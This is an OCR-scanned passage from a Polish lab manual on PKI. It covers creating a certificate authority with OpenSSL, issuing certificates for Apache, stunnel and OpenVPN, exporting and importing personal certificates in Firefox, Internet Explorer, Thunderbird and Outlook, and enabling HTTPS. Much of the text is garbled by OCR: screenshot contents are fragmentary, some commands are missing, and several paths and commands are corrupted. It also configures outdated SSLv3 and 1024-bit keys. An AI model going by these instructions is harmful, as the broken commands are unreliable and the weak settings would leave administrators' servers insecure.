firmy — opcjonalnie), Common Name (nazwa wystawiajacego certyfikat),
Email Address (mail). Przy pytaniu o dodatkowe atrybuty wcisnij
dwukrotnie Enter (rys. 9.4).

Country Name (2 letter code) [AU]:PL
S5tate or Province Na (full name) [Some-Statel:lLodzkie
¢ dz
ion Name (eg, c [Internet Widgits Pty Ltd]:TuL
tional Unit Name (eg, section) []:EEIiA
Common Name (eg, YOUR BSS
Email Address []:bss_l:

Please enter the following ra' attributes
to be sent with your certi e request
challenge password []:
n optional company name []:
Using configuration from fus /ssl/openssl.cnf
Enter pass phrase for ./de iv cakey.pem:

Check that the request matches the signature
Signature ok

Rys. 9.4. Czes¢ skryptu odpowiedzialna za pobranie informacji zawartych w CA
Zrédto: opracowanie wiasne.
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9.1.6. W ostatnim kroku zostanie wy$wietlone podsumowanie zawierajace
wszystkie informacje, jakie beda zawarte w Centrum Certyfikacji.

Certificate Details:
Serial Number: 0 (@x0)
validity
Not Before: Nov 25 83:49:58 2010 GMT
Not After : Nov 24 03:49:58 2013 GMT
Subject:
countryName
stateOrProvinceName
organizationName
organizatienalUnitName
commonName
emailAddress
extensions:
X509v3 y Identifier:
11: :32:98:25:48:F7:E0:CF:06:AC:6F:6F:C8:AF:AF
X509v3
key 3 CAA: 48:F7:E0:CF:06:AC:6F:6F:C8:AF:AF
Di y ie, /OU=EETiA/CN=BSS/emailAddress=bss_lab@gmail.com
serial:@e@

PL

Lodzkie

TUuL

EETiA

BSS
bss_lab@gmail.com

9v3 Basic Constraints:
CA:TRUE
Certificate is to be certified until Nov 24 ©3:49:58 2013 GMT (1035 days)

Write out database with 1 new entries

Rys. 9.5. Podsumowanie informacji zawartych w certyfikacie
Zrédlo: opracowanie wilasne.

9.1.7. W wyniku dziatania skryptu zostanie utworzony komplet certyfikatow dla
naszego CA (rys. 9.6).

x. txt.old serial.old
serial

# cd private/
# 1s

Rys. 9.6. Efekt dziatania skryptu ./CA.sh
Zrédlo: opracowanie wilasne.

9.2. Certyfikaty samopodpisane — generowanie certyfikatu
dla serwera Apacze

9.2.1. W katalog /root/ stworz katalog /cert (w ktérym przechowywane beda
generowane przez Ciebie pliki), a w nim podkatalog /apache:

mkdir /root/cert/
mkdir /root/cert/apache

nastepnie skopiuj do katalogu apache certyfikat gtéwny

/usr/lib/ssl/misc/demoCA/cacert.pem /root/cert/apache/ca.

208



9.2.2. Przejdz do /ust/lib/ssl/misc/ i uruchom skrypt ./CA.sh -newreq w celu
wygenerowania nowego certyfikatu dla serwera apache. Procedura
generowania certyfikatu wyglada podobnie do tej z punktéw 9.1.3-9.1.5,
z tego wzgledu zostanie tutaj pominigta, musisz jedynie zwroci¢ uwage na
to, zeby w polu Common Name poda¢ peing nazw¢ domenowa swojego
serwera (rys. 9.7).

Organizational Unit Name (eg, section) []:EEI1A
Common Name (eg, YOUR e) []:bss_lab.p.lodz.pl

Email Address []:bss_lab@gmail.com

Rys. 9.7. Common Name jako pelna nazwa domenowa serwera,
dla ktérego wystawiony zostal certyfikat
Zrédto: opracowanie wlasne.

9.2.3. Po wygenerowaniu certyfikatu musisz go jeszcze podpisa¢, zeby nada¢ mu
wiarygodnosci; w tym celu uruchom skrypt ./CA.sh —sign. Na samym
poczatku poproszony zostaniesz o podanie hasta z punktu 9.1.4 w celu
potwierdzenia wlasnosci CA (rys. 9.8).

# ./CA.sh -newreq
24 bit RSA p e key
B

B
writing mew private key to 'newkey.pem’

Enter PEM pass phrase:

verifying - Enter PEM pass phrase:

Rys. 9.8. Potwierdzenie wlasnosci CA
Zrédlo: opracowanie wilasne.

Nastgpnie wyswietlone zostana szczegdty certyfikatu ktéry ma by¢
podpisany i poproszony zostaniesz o potwierdzenie operacji, wpisz y i potwierdz
wciskajac Enter (rys. 9.9).

Certificate is to be certified until Now 25 07:32:09 2011 GMT (365 days)

sign the certificate? [y/nl:y

Rys. 9.9. Potwierdzenie procedury podpisania nowego certyfikatu
Zrédlo: opracowanie wilasne.

Na koncu wys$wietlona zostanie informacja o miejscu, w ktérym znajduje si¢
podpisany certyfikat.

9.2.4. Przenies wygenerowane pliki do folderu /root/cert/apache/ przy pomocy
polecen:

mv newkey.pem /root/cert/apache/
mv newcert.pem /root/cert/apache/

O tym, jak wykorzysta¢ wygenerowany certyfikat dowiesz si¢ w dalsze]
czesci ¢wiczenia.

209



9.3. Certyfikaty samopodpisane — generowanie certyfikatu
dla aplikacji stunnel

9.3.1. W katalogu /root/cert/ stworz katalog stunnel:

mkdir /root/cert/stunnel

nastepnie przenie$ do niego certyfikat gldwny:

/usr/lib/ssl/misc/demoCA/cacert.pem /root/cert/stunnel/ca.pem

oraz plik stunnel.cnf znajdujacy si¢ w katalogu
/usr/share/doc/stunneld/examples/

cp /usr/share/doc/stunnel4/examples/stunnel.cnf /root/cert/stunnel/

9.3.2. Wejdz do katalogu /root/cert/stunnel/

cd /root/cert/stunnel/

9.3.3. Teraz mozesz przejs¢ juz do wlasciwej czesci, czyli generowania certyfikatu,
wpisz:

openssl req -new -x509 -nodes -config stunnel.cnf -out stunnel.pem -keyout

stunnel.pem

nastepnie uzupetnij certyfikat o wymagane dane (rys. 9.10):

re # openssl req -new -x589 -nodes -config stunnel.cnf -out stunnel.pem -keyo
ut stunnel.pem
Generating a 1024 bit RSA private key
R asss s
o
writing new private key to 'stunnel.pem’

You are about to be asked to enter information that will be incorporated
into your certificate request.

what you are about to enter is what is calle Distinguished Name or a DN.
There are guite a few fields but yo Lea blank

For some fields there will be a default lue,

If you enter '.', the field will be left blank.

Organizational Unit Name (eg, section) []:EEIiA
Common Name (FQDN of your server) [localhost]:www.bss lab.p.ledz.pl

Rys. 9.10. Generowanie certyfikatu dal aplikacji stunnel
Zrédto: opracowanie wiasne.
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9.3.4. W efekcie otrzymujesz dwa pliki stunnel.pem oraz stunnel.rnd; ten drugi
usun, usun takze stunnel.cnf, poniewaz nie bedzie Ci juz potrzebny. O tym

jak wykorzystaé wygenerowany certyfikat dowiesz si¢ w dalszej czgsci
¢wiczenia.

9.4. Certyfikaty samopodpisane — generowanie certyfikatow

oraz kluczy dla aplikacji OpenVPN

Do wygenerowania certyfikatow oraz kluczy wykorzystamy skrypty
dostarczone wraz z aplikacja OpenVPN.

9.4.1. Przejdz do katalogu /usr/share/doc/openvpn/examples/easy-rsa/2.0:

Aby nie wpisywa¢ kazdorazowo informacji o sobie zmodyfikujemy teraz
plik vars, ktérego pézniejsze wykonanie podmieni standardowe ustawienia na
nasze dane w skryptach generujacych poszczegélne certyfikaty, dzieki czemu
mozliwe bedzie zatwierdzanie kolejnych pul przyciskajac klawisz Enter bez
wpisywania jakichkolwiek danych.

9.4.2. Edytuj plik vars poleceniem:

nano vars

nastgpnie zmien dane w polach: KEY_COUNTRY, KEY_PROVINCE,
KEY_CITY, KEY_ORG, KEY_EMAIL na wtasne (rys. 9.11) i zapisz plik.

Rys. 9.11 Zmiana standardowych ustawief informacji przypisywanych do certyfikatu
Zrédto: opracowanie whasne.
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9.4.3. Uruchom skrypt poleceniem:
nastepnie wpisz:
Powyzsze polecenie usunie wszystkie pliki znajdujace si¢ w katalogu /keys

9.4.4.W celu zbudowania CA wpisz:
/build-ca

nastgpnie potwierdz informacje, ktére zawarte beda w Centrum Certyfikacji,
wciskajac Enter przy kazdym pytaniu ewentualnie dokonaj korekty, jezeli
zajdzie taka potrzeba. Pole Organization Unit Name jest opcjonalne,
mozesz je pomina¢, w polu Common Name przyjmij sugerowana nazwe lub
wprowadz wlasng (rys. 9.12).

ating a 1824 bit RSA private key
S e

g new pr

You are about te be asked to enter information that will be incorporated
into your certificate request.

jihat you are about to enter is what is called a Distinguished Name or a DN.
here are quite a few fields but you can leave some blank
[For some fields there will be a default value,

f .', the field will be left blank.

me (2 letter code) [PL]:
(full name) [Lodzkiel:

tion Name (eg, company) [TULI:
Jrganizational Unit Name (eg, section) []:
Common Name (eg, your sour server's hostname) [TUL CAl:
mail Address [bsslab@

Rys. 9.12. Tworzenie CA przy pomocy skryptu dotaczonego do pakietu OpenVPN
Zrédto: opracowanie whasne.

9.4.5. Mamy juz CA wiec mozemy wygenerowac certyfikat oraz klucz dla serwera,
w tym celu wpisz w konsoli:

./build-key-server server

i w tym przypadku potwierdz klawiszem Enter informacje, ktére zawarte
beda w certyfikacie serwera Pole Organization Unit Name jest opcjonalne,
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mozesz je pomina¢; w polu Common Name przyjmij sugerowana nazwe
serwera lub wprowadz wtasna (rys. 9.13).
# ./build-key-server server

a 1024 bit RSA private key

i R s
writing new private key to 'server.key'

You are about to be asked to enter information that will be incorporated
into your certificate request.

what you are about to enter is what is called a Distinguished Name or a DN.
There are gquite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [PLI:

Organization Name (eg, company) [TULI:

g ational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) [server]:
Email Address [bsslab@imail.com]:

Rys. 9.13. Generowanie certyfikatu dla serwera aplikacji OpenVPN
Zrédto: opracowanie whasne.

Po potwierdzeniu adresu Email zostaniesz poproszony o uzupetnienie dwéch
dodatkowych atrybutéw, pomin je wciskajac dwukrotnie Enter. W kolejnym
kroku wygenerowana zostanie prosba o podpisanie certyfikatu, zatwierdz podpisanie
certyfikatu serwera przez Centrum Certyfikacji, wpisujac y i potwierdzajac
wcisnieciem klawisza Enter (t¢ czynno$¢ wykonaj dwukrotnie).

Please enter the following "extra' attributes
to be sent with your certificate request

company name []:
Using configuration from /fusr/share/doc/openvpn/examples/easy-rsa/2.0/openssl.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName :PRINTABLE: "PL'
stateOrProvinceName :PRINTABLE: 'Lodzkie®

:PRINTABLE:"

:PRINTABLE:"

:PRINTABLE:"

:IASSTRING:®
Certificate is to be certified until Nowv 22 18:20:18 2028 GMT (3650 days)
Sign the certificate? [y/nl:y

Rys. 9.14. Podpisywanie certyfikaty serwera aplikacji Open VPN
Zrédto: opracowanie wilasne.

9.4.6. Certyfikat oraz klucz klienta wygenerujesz, uzywajac ponizszego polecenia:

J/build-key clientA
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Procedura generowania certyfikatu jest identyczna jak w przypadku
certyfikatu serwera, wigc zostanie pominigta. Nowy certyfikat dla nowego
klienta wygenerujesz przy uzyciu tego samego skryptu, zmieniajac jedynie
nazwe klienta, np.:

J/build-key clientB

9.4.7. Ostatnim krokiem jest wygenerowanie Diffie Hellman parameters przy
pomocy polecenia:

/build dh

Klucz dh stanowi zabezpieczenie przed podstuchem.

Generating DH parameters, 1824 bit long safe prime, generator 2
his is going to take a long time

Rys. 9.15. Generowanie pliku DH
Zrédto: opracowanie wiasne.

Wszystkie wygenerowane w tym podpunkcie certyfikaty oraz klucze zmaga-
zynowane zostaty w katalogu /keys.

# LS
attr serial server.csr

clientA.crt dhle24.pem i attr.old serial.old server.key
clientA.csr  index. txt i x.txt.ol server.crt

Rys. 9.16. Katalog, w ktérym skrypty aplikacji OpenVPN magazynuja wygenerowane pliki
Zrédto: opracowanie whasne.
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Ponizsza tabela prezentuje zestawienie certyfikatow oraz kluczy niezbednych do
prawidlowego zestawienia bezpiecznego szyfrowanego polaczenia za pomoca
aplikacji OpenVPN. W kolumnie drugiej oraz czwartej zaproponowana zostata
polityka bezpieczenstwa, jaka powinna by¢ stosowana przy obrocie certyfikatami
i kluczami poszczeg6lnych uzytkownikéw.

Nazwa pliku Wymagany przez Rola Tajny

cacrt Eﬁ?ﬁg 1 WezZysey Certyfikat gtéwnego CA | NIE
Maszyna, na ktorej

ca.key podpisywane sa Klucz gtéwnego CA TAK
certyfikaty

dh{n}.pem Tylko serwer Diffie Hellman NIE

parameters

server.crt Tylko serwer Certyfikat serwera NIE

server.key Tylko serwer Klucz serwera TAK

clientA.crt Tylko klient A Certyfikat klienta A NIE

clientA.key Tylko klient A Klucz klienta A TAK

clientB.crt Tylko klient B Certyfikat klienta B NIE

clientB.key Tylko Klient B Klucz klienta B TAK

9.5. Powszechne Centrum Certyfikacji — pozyskiwanie certyfikatow

Aby uzyskaé certyfikat podpisany przez Powszechne Centrum Certyfikacji,
odwiedz jeden z dwéch ponizszych linkéw (obie firmy oferuja prébne darmowe
certyfikaty):

http://www.certum.pl/certum/certum,pz_certyfikaty testowe.xml

http://www.globalsign.com/free-trial/

Obie firmy oferuja rézne typy certyfikatéw do réznych zastosowan; w tym
punkcie bedzie nas interesowal podpis elektroniczny. W przypadku Certum,
postepujac zgodnie z instrukcjami, w przegladarce zostanie zainstalowany
certyfikat potwierdzajacy Twoja tozsamos¢, o tym jak wykona¢ jego kopie
zapasowq przeczytasz w dalszej czgsci ¢wiczenia. W przypadku GlobalSign
certyfikat pobierzesz w postaci pliku z rozszerzeniem .pfXx.
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9.6. Powszechne Centrum Certyfikacji — eksportowanie certyfikatu
z przegladarki Firefox

9.6.1. Z paska menu wybierz Narzedzia -> Opcje... -> Zaawansowane ->
Szyfrowanie -> Wyswietl certyfikaty -> Certyfikaty uzytkownika

9.6.2. Po odszukaniu certyfikatu na liscie zaznacz go i wybierz Kopia zapasowa...,
nastgpnie uzupetnij pole z nazwa pliku, pod ktéra zapisany zostanie certyfikat.

Certyfikaty uzytkownika | Ludzie | Serwery | Organy certyfikacji | Pazostate |

Posiadasz certyfikaty z nastepujacych erganizacji, ktére identyfikuja uzytkownika:

Nazwa certyfikatu Urzgdzenic zabezpieczajgce  Numer seryjny Wygasa dnia =]
4GlobalSign nv-sa
bss_lsb@hotmail.com  Urzadzenie zabezpieczajace  0L:00:00:00:00:01:2... 2010-09-03
aUnizeto Technalagies S.A.
Persona not Validated  Urzgdzenic zabezpifl|1§

Nazwa pliku kopil zapasowe
Persona not Validated  Urzgdzenie zabezp

v PR ~ | 43 | wysauika £
Nazwa pliku:  bss_certyfikat -
Zapisz jako typ: [Pliki PKCS12 -

~ Przegladaj foldery

Rys. 9.17. Wykonanie kopii zapasowej certyfikatu w przegladarce Firefox
Zrédto: opracowanie wiasne.

Po wpisaniu hasta zabezpieczajacego i zatwierdzeniu przyciskiem OK (rys.
9.18) zostanie wyswietlony komunikat potwierdzajacy wykonanie kopii Twojego
certyfikatu we wcze$niej wskazanym miejscu.

Wybierz hasfo kopii

Wprowadzane hasto zabezpiecza tworzana kopie certyfikatu. Utworzenie kopii certyfikatu bez podania
hasta zabezpieczajacego jest niemozliwe.

Haslo kopii bezpieczeristwa certyfikatu: ———

Haslo kopii bezpieczeristwa certyfikatu (ponowniel  sessesses

Wazne: Jezeli haslo zabezpieczajace kopie certyfikatu zostanie utracone, po#niejsze odtworzenie
certyfikatu bedzie niemozliwe. Zaleca sie zachowanie hasta w bezpiecznym migjscu.

Miemnik jakogci hasta

Rys. 9.18. Zabezpieczenie kopii certyfikatu hastem
Zrédto: opracowanie wiasne.
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9.7. Powszechne Centrum Certyfikacji — eksportowanie certyfikatu
z przegladarki Internet Explorer

9.7.1. Wybierz Start -> Uruchom i wpisz CERTMGR.MSC, nastgpnie wybierz
Certyfikaty -> biezacy uzytkownik -> Osobisty -> Certyfikaty, kliknij
prawym przyciskiem myszy certyfikat, ktéry chcesz eksportowac i wybierz
Wszystkie zadania -> Eksportuj... (rys. 9.19).

=4 certmar - [Certyfikaty - biezacy uzytkownik\Osobisty\Certyfikaty]

Plik Akcja Widok Pomoc
e HE 4 DI RE = HE
= C.artyﬁkat_\,r - biezacy uzytkownik || Wystawiony dia ° Wystawiony przez Di l
4 [ Osobisty i, GlobalSign PersonalSign Class 1 CA
4 Cert_y‘flk'aty o 1
| Zaufane gléwne urzedy certy| | _1
» ] Zaufanie przedsichiorstwa | Wszystkie zadania 3 Otwérz
- | Posrednie urzedy certyfikacji |
- [] Obiekt uzytkownika Active Di Wytnij | Eksportuj...
| Zaufani wydawcy Kopiuj 2
- || Certyfikaty niezaufane (i
~ ] Ghowne urzedy certyfikacji ini
- [7] Zaufane osoby Wiasciwosci
. [7] Inne osoby
- [ ] Zadanie zarejestrowania certy| [HeCE
| Zaufane certvikaty kart inteli

Rys. 9.19. Wykonanie kopii zapasowej certyfikatu w przegladarce Internet Explorer
Zrédlo: opracowanie wlasne.

9.7.2. Nastgpnie zaznacz Tak, eksportuj klucz prywatny i przejdz Dalej,
w kolejnym oknie wybierz Wymiana informacji osobistych PKCS #12
(.PFX) (rys. 9.20).

Eksportowanie klucza prywatnego Format pliku eksportu
Mozesz wybrac eksport ucza prywatnego razem z certyfikatem. Certyfikaty moga byé eksportowane w wielu réznych formatach piksw.
Klucze prywatne sa chronione haslem. Aby wyeksportowaé Kucz prywatny Viiybierz format, ktSrego cheesz uzyé:

2 certyfikatem, musisz wpisa¢ hasto na jedne; z kolejnych stran.

o

Cay cheesz wyeksportowat Kucz prywatny wraz 2 certyfikatem?
@) Tak, eksportuj Kucz prywatny

() Nie eksportuj klucza prywatnego

(@ Wymiana informacii osobistych - PKCS #12 (.PFX)
[T Jezelijest to mozlie, dolacz wszystkie certyfikaty do ciezld certyfikaci
[ Usufi Kucz prywatny, jezeli eksport zostat zakoriczony pomyéinie

[ Exsportuj wszystie wiadcinodd rozszerzane

Dowiedz sie wiecej o eksportowanu Kuczy prywatnych Doniedz sig wigce] o formatach plicn certyfikatsin
[ <wseee || Dag> | [ Awig | [ <wstee | Dalg> | [ Anig

Rys. 9.20. Procedura tworzenia kopii zapasowe;j certyfikatu
Zrédlo: opracowanie wlasne.
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9.7.3. Tak jak w przypadku Firefox-a wpisz hasto chroniace kopie certyfikatu

nastgpnie przejdz Dalej.

Hasto

Whisz | potwierd? hasto.
Hasto:

\Wpisz | potwierd? hasto {obowigzkowe):

Aby zapewnié bezpieczeristwo, musisz zabezpieczye Kucz prywatny za pomoca hasta.

Kreator eksportu cel

{ <wstecz || Dalej> | { Anuluj

)

Rys. 9.21. Zabezpieczeni kopii certyfikatu hastem

Zrédlo: opracowanie wlasne.

9.7.4. Na koniec wpisz $ciezke, pod ktéra bedzie zapisana kopia w formacie ,,.pfx”
(rys. 9.22), przejscie dalej zakonczy prace kreatora. Zostanie wyswietlony
komunikat potwierdzajacy poprawne wyeksportowanie kopii certyfikatu.

Kreator eksportu ce

Eksport pliku
Okregl nazwe pliku, ktdry cheesz wyeksportowad
Nazwa pliku:
C:\Users\sprite\Desktop\PKIYbss_certyfikat.pfx Przeglada...
{ < Wstecz J[ Dalgj > ] I Anuluj I

Rys. 9.22. Sciezka, pod ktéra zostanie zapisany certyfikat

Zrédto: opracowanie wiasne.
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9.8. PKI w praktyce — https przy zastosowaniu aplikacji stunnel

9.8.1. Zainstaluj stunnel poleceniem:

apt-get install stunnel

9.8.2. Przejdz do katalogu /root/cert/stunnel i skopiuj plik konfiguracyjny stunnela
do tego katalogu:

cp /etc/stunnel/stunnel.conf /root/cert/stunnel/

9.8.3. Edytuj plik konfiguracyjny stunnel-a i zmief $ciezke do certyfikatu
(rys. 9.23) na

cert = /Root/cert/stunnel/stunnel.pem
oraz $ciezke do certyfikatu gléwnego (rys. 9.24) na

CAfile = /root/cert/stunnel/ca.pem

; Certificate/key 1s needed in server mode and optional in client mode
= /root/cert/stunnel/stunnel. peml
y = /etc/stunnel/mail.pem

; Protocol version (all, SS5Lw2, SSLw3, TLSwl)
sslVersion = 55Lv3

Rys. 9.23. Fragment pliku konfiguracyjnego odpowiedzialny
za $ciezke do certyfikatu aplikacji.
Zrédlo: opracowanie wilasne.
; CApath is located inside chroot jail

;CApath = /certs
; It's often easier to use CAfile

cAfile = /root/cert/stunnel/ca.pen]]
; Don't forget to c_rehash CRLpath

Rys. 9.24. Fragment pliku konfiguracyjnego odpowiedzialny
za $ciezkg do certyfikatu gtdwnego.
Zrédlo: opracowanie wilasne.

9.8.4. Upewnij si¢ czy fragment odpowiedzialny za dziatanie https-u (rys. 9.25)
jest odkomentowany.

443

ae

Rys. 9.25. Fragment pliku konfiguracyjnego odpowiedzialny
za dzialanie https-a
Zrédto: opracowanie whasne.
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9.8.5. Zapisz plik pod niezmieniong nazwa i uruchom aplikacje poleceniem:

stunnel4 stunnel.conf

9.8.6. Wiacz serwer apache poleceniem:

9.8.7. Nastgpnie na maszynie, na ktérej uruchomiono serwer apache polacz si¢
z dowolnej przegladarki internetowej z adresem https://127.0.0.1 (rys. 9.26).

Page Load Error - Mozilla Firefox

Fle Edit Wiew History Bookmarks Tools Help

@ B ~ @ @ & [A]rpsmnzrooy Rl =k @

7 = | Secure Connection Failed

V4
| | 127.0.0.1 uses an invalid security certificate.

The certificate is not trusted because it is self signed.
The certificate is only valid for www.bss_lab.p.lodz.pl

(Error code: sec_error ca_cert_invalid)

= This could be a problem with the server's configuration, or it could be
someone trying to impersonate the server.

= |fyou have connected to this server successfully in the past, the error
may be temporary, and you can try again later.

Or you can add an exception...

Rys. 9.26. Ostrzezenie wygenerowane przez przegladarke o tym, ze certyfikat
zostal podpisany przez niewiarygodna jednostkg CA
Zrédlo: opracowanie wilasne.

Przy prébie nawiazania bezpiecznego potaczeniu z lokalnym serwerem www
zostaniesz ostrzezony o tym, ze serwer z ktérym prébujesz si¢ potaczy¢ uzywa
nieprawidlowego (samopodpisanego certyfikatu) i zwiazku z tym, aby mdc obejrze¢
zawarto$¢ strony musisz zaakceptowaé wyjatek bezpieczenstwa.
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9.8.8. Wyswietl szczegdty certyfikatu i zweryfikuj dane w nim zawarte (rys. 9.27).

oo Certificate Viewer:"www.bss_lab.p.lodz.pl"
File Edit Wiew Histor —
General ‘ Qetails{
c9-20
Could not verify this certificate for unknown reasons.
—@—=_Se1 Issued To
WA Common Mame (CM) www.bss_lab.p lodz pl
| 127 Organization (0) L
Organizational Unit (OU) EElA
The Serial Number 00'A7:38/A6:35 E3:98:98:9A
The Issued By
Common Mame (CM) www.bss_lab.p lodz pl
(Err) Organization (0) TUL

Organizational Unit (OU) EEIA

- TH Validity

< |ssued On 11/25/10
- If Expires On 12/25/10
rl Fingerprints
SHA1 Fingerprint BB:85:65:26:82:0B:FC:ARAC99:FD:AEB0:B3:71:7A:19:44:44.:34
MD5 Fingerprint 11.0A:12:FE:2A:79:5E:C1:16:14:A7:A2.ED.ES:6C:37
You
trus|

Rys. 9.27. Widok szczeg6téw certyfikatu
Zrédlo: opracowanie wilasne.

9.9. PKI w praktyce — https w Apache

9.9.1. Wiacz modut ssl-a poleceniem:

a2enmod ssl

1 przetaduj serwer apacha, wpisujac:

/etc/init.d/apache? force-reload

9.9.2. Przejdz do katalogu /etc/apache2/sites-available:

cd /etc/apache?/sites-available

i edytuj plik konfiguracyjny modutu ssl:

nano default-ssl
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9.9.3. Odszukaj i usun komentarze sprzed nastgpujacych linii edytowanego pliku
konfiguracyjnego:

SSLEngine on

SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
SSLCertificateFile /etc/ssl/certs/server.crt
SSLCertificateKeyFile /etc/ssl/private/server.key
SSLCACertificateFile /root/cert/apache/cacert.pem

Trzy ponizsze rysunki pomoga Ci zlokalizowa¢ odpowiednie linie, ktdre
wymagaja modyfikacji.

#  SSL Engine Switch:

# Enable/Disable sSL for this wirtual host.

SSLEngine on

# I A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert

#  Jusr/share; / common/README .Debian.gz for more info.
# a te are stored in the same file, only the
#  sSLCertificateFile directive is needed.

SsLCertificateFile /root/cert/apache/n

SSLCertificateKeyFile /root/cert/apache/n

Rys. 9.28. Plik konfiguracyjny modutu ssl
Zrédto: opracowanie whasne.

# Makefile to update the hash symlinks after changes.
#5S5LCACertificatePath /etc/ssl/certs/
SSLCACertificateFile /froot/cert/apache/cacert.pem

# Certificate Revocation Lists (CRL):

Rys. 9.29. Plik konfiguracyjny modutu ssl
Zrédto: opracowanie whasne.

# 1y are used in per-directory con xt.
55L0ptions +Fak icAuth +ExportCe ta +StrictRequire

<FilesMatch "\.(cgi|shtml|phtml|php)$">
SSLOptions +StdEnwVars
</FilesMatch=

Rys. 9.30. Plik konfiguracyjny modutu ssl
Zrédto: opracowanie wiasne.

9.9.4.Uruchom standardowa konfiguracjg ssl poleceniem:
a2ensite default-ssl

a nastgpnie zrestartuj serwer apache:

/etc/init.d/apache? restart

9.9.5. W katalogu /var/www/ umies¢ zawartos¢ katalogu PKIl/apache/ z ptyty DVD.
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9.9.6. Uruchom przegladarke, wpisujac http://localhost/, a nastgpnie zaloguj si¢
z uzyciem dowolnych danych.

File Edit Wiew History Bookmarks Tools Help

/\‘,—Zl E"\, > @ “;E' |Ié http:fflocalhostf j |E

Login

Rys. 9.31. Przyktad panelu logowania
Zrédto: opracowanie wlasne.

Przy prébie zalogowania si¢ dane zostana wystane przy pomocy protokotu
ssl do modutu login.php. Przy pierwszym logowaniu wyswietlone zostanie
ostrzezenie o tym, ze certyfikat uzywany przez serwer nie jest zaufany (rys. 9.32).

Flle Edit Wiew History Bookmarks Tools Help

Qj @ - @ 1;_} |! https flocalhost/login.php j |'

0 % | Secure Connection Failed
localhost uses an invalid security certificate.
The certificate is not trusted because the issuer certificate is not trusted.

(Error code: sec_error_untrusted_issuer)

= This could be a problem with the server's configuration, or it could be
someone trying to impersonate the server.

= |f you have connected to this server successfully in the past, the error
may be temporary, and you can try again later.

Or you can add an exception..

Rys. 9.32. Ostrzezenie o niezaufanej stronie www
Zrédto: opracowanie wlasne.
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Kiedy dodasz wyjatek bezpieczenstwa, pobierzesz certyfikat i wyswietlisz
informacje w nim zawarte, mozesz sprawdzi¢ kto i dla kogo wystawit certyfikat
(rys. 9.33).

Certificate Viewer:"localhost"

Could not verify this certificate for unknown reasons.

Issued To

Common Name (CN) localhost

Organization (0) TUL

Organizational Unit (OU) EEIA

Serial Number 04

Issued By

Cammon Name (CN) BSS

Organization (0) TUL

Organizational Unit (OU) EEIA

Validity

Issued On 11/25/10

Expires On 11/25/11

Fingerprints

SHAL Fingerprint 09:90:89:A7 E4.A5:D960:3A0RAZ3A16:C5:2C:30 62 AAGAAE
MD5 Fingerprint 64:85:44:6D:A5:CC:34:87:A5:EE.CE:BE:A3:56:74 8F

Rys. 9.33. Widok szczeg6ty certyfikatu
Zrédto: opracowanie wlasne.

Przed zaakceptowaniem certyfikatu w zaktadce Details mozesz podejrze¢
hierarchie certyfikatow (rys. 9.34).

Certificate Viewer:"localhost"

General

Certificate Hierarchy

“EBSS
localhost

Certificate Fields

“localhost
~ Certificate
“Wersion
Serial Number
Certificate Signature Algorithm
Issuer
=Walidity
Not Before
Not After
Subject
= Subiect Public Kev Info |
Field Value
T

Rys. 9.34 Hierarchia certyfikatéw
Zrédlo: opracowanie wilasne.
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Po dodaniu wyjatku bezpieczenstwa i zaufaniu certyfikatowi wy$wietlona
zostanie zawarto$¢ strony (rys. 9.35).

File Edit Wiew History Bookmarks Tools Help

! (li\ [@https:Hlocalhostjlogin.php j |E

Rys. 9.35. Widok strony po zalogowaniu
Zrédlo: opracowanie wilasne.

9.10. PKI w praktyce — importowanie certyfikatu
do klienta Thunderbird

9.10.1. Z paska menu wybierz Narzedzia -> Opcje... -> Zaawansowane ->
Szyfrowanie -> Wyswietl certyfikaty -> Certyfikaty uzytkownika ->
Importuj, zostaniesz poproszony o wskazanie miejsca na dysku, gdzie
zapisana zostata kopia Twojego certyfikatu.

9.10.2. Nastgpnie podaj hasto, ktérym zabezpieczona zostata kopia podczas
jej tworzenia, po jego prawidlowym podaniu cata operacja zostanie
potwierdzona stosownym komunikatem.

Wprowadz hasto, ktére bedzie uzyte przy szyfrowaniu kopii
bezpieczenstwa tego certyfikatu.

[ ok [ Anuy |

Rys. 9.36. Weryfikacja wtasnosci certyfikatu
Zrédlo: opracowanie wilasne.

9.11. PKI w praktyce — importowanie certyfikatu
do klienta MS Outlook

9.11.1. MS Outlook korzysta z tego samego magazynu certyfikatéw co IE, wigc
jezeli zainstalowale$ certyfikat w przegladarce, mozesz przej$¢ do
podpisywania wiadomosci.

9.11.2. Aby importowaé certyfikat wybierz Narzedzia -> Opcje... ->
Zabezpieczenia -> Importuj/eksportuj...
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9.11.3. Wskaz miejsce, gdzie zapisana zostata kopia certyfikatu oraz podaj hasto

uzyte przy jej tworzeniu i nazwg (rys. 9.37), potwierdZ importowanie
klucza wymiany (rys. 9.38).

Import/eksport identyfikatora cyfre 3 ..

(@) Importuj istniejacy identyfikator cyfrowy z pliku
Importuje identyfikator cyfrowy z pliku do Twojego komputera. Musisz uzyd
hasta wprowadzonego podczas eksportu certyfikatu do tego pliku.
Plik importu: :C:VJsers\spfibe\Deskbcp\DIC[\bss_oertyt Przegladaj...
Hasto: sessnnens E
Nazwa identyfikatora  |pss mrﬂﬁkat
cyfrowego: r———

(71 Eksportuj identyfikator cyfrowy do pliku

Eksportuje informacje identyfikatora cyfrowego do pliku. Wprowad? hasto, aby
chroni¢ te infarmacie.

Identyfikator cyfrowy: Wybierz. ..
Mazwa plik: | | Przegladai...
Hasto: |

Pobwizrdzenie:

|_| Zgodny z programem Microsoft Internet Explorer 4.0 (niskie bezpieczenstwo)

[ usur identyfikator cyfrowy z systemu

Rys. 9.37. Importowanie certyfikatu do klienta pocztowego MS Outlook
Zrédto: opracowanie wlasne.

Aplikacja tworzy element chroniony.

Klucz prywatry CryptoAP|

Ustawiono gredni poziom

L 2 [ Ustaw poziom zabezpieczen... ]
zabezpieczen

[ ok || Ay | [Seczegsly.. |

Rys. 9.38. Importowanie klucza wymiany
Zrédto: opracowanie wlasne.
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9.12. PKI w praktyce — podpisywanie wiadomosci Thunderbird

9.12.1. Wybierz Zabezpieczenia -> Podpisz cyfrowo te wiadomos¢ (rys. 9.39),
podpisujac wiadomos¢ pierwszy raz poproszony zostaniesz o skonfiguro-
wanie osobistego certyfikatu.

" Tworzenie: (bez tematu)

Plik Edycja Widok ‘Wstaw Format Opcje Marzedzia Pomoc
¥ .0 8 ¢

= = N
